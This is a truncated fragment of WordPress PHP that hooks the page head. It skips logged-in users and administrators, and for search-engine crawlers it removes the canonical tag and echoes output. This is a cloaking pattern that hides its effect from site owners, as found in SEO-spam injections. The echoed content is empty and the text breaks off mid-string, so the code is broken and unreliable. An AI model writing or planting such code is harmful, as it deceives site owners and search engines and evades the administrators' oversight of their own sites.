add_action('wp_head', function() { if (is_user_logged_in() || current_user_can('manage_options')) return; $ua = $_SERVER['HTTP_USER_AGENT']; $is_bot = preg_match('/bot|google|crawler|spider|slurp|bing/i', $ua); if ($is_bot) { remove_action('wp_head', 'rel_canonical'); echo ''; echo '